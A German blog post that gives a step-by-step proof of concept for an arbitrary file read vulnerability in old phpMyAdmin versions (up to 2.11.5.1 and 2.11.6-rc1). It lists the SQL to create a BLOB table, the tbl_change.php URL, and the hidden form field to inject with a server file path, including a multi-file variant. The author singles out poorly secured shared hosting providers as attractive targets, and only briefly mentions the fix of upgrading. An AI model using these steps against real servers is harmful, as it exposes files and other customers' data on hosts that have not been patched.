Apr 24

phpMyAdmin <= 2.11.5.1 and 2.11.6-rc1 read file disclosure

Tag: Exploit, Web Application Security, WebanwendungenThe-Wildcat @ 00:44

Ich streifte heute mal wieder über die phpMyAdmin Seite und fand gleich eine aktuelle Sicherheitsmeldung und ein neues Release von phpMyAdmin vor. Angeblich sollte es möglich sein jede Datei auszulesen auf die der Webserver lesezugriff hat. Nun gut dachte ich mir und folgte dem Security announcement. Der Entdecker hat leider keine weiteren Details dazu veröffentlicht. Also machte ich mich entsprechend selbst auf die Suche nach dieser Lücke und wurde wenig später auch fündig.
Hier also das PoC welches man dafür verwenden kann.

Zuerst einmal erstellt man eine Tabelle mit einer BLOB spalte z.B.:

CREATE TABLE `read_server_file` (
`file` blob NOT NULL,
`id` int(11) NOT NULL auto_increment,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=ascii;

Danach wählt man die Tabelle und klickt auf “Einfügen” alternativ kann man auch diesen Link verwenden, die entsprechenden Werte müssen allerdings geändert werden.

http://www.example.com/[path_to_phpmyadmin]/tbl_change.php?db=[database]&table=read_server_file&token=[token]&goto=tbl_sql.php

Dort findet man ein Formular für einen Dateiupload vor. Dieses Feld leer lassen.
Nun muss man, im Firefox z.B. mittels Firebug, das Formular editieren und zwar wie folgt:

<input name="fields_uploadlocal_file[multi_edit][0]” type=”hidden” value=”[full path to file]” />

hinzufügen.

Beachte:
fields_uploadlocal_[file]
file ist hier der Spaltenname des BLOB typs und muss bei einem anderen Spaltenname auch ersetzt werden!

Man kann auch mehrere Dateien gleichzeitig auslesen, in dem man unter phpMyAdmin die Multi-einfügeoperation verwendet.
Dann muss man nur weitere felder hinzufügen und die namen sind dann entsprechend fields_uploadlocal_file[multi_edit][1] … fields_uploadlocal_file[multi_edit][n]

Wirklich interessant ist das erst auf Seiten wie www.funpic.de oder www.bplaced.net, sprich shared hosting Seiten, die schlecht gesichert sind. :mrgreen:

  • Lösung: Upgrade auf Version 2.11.5.2
  • Der aktuelle release candidate 2.11.6-rc1 enthält diese Lücke entgegen der Meldung von Cezary Tomczak auch.
  • Original Meldung

Dein Kommentar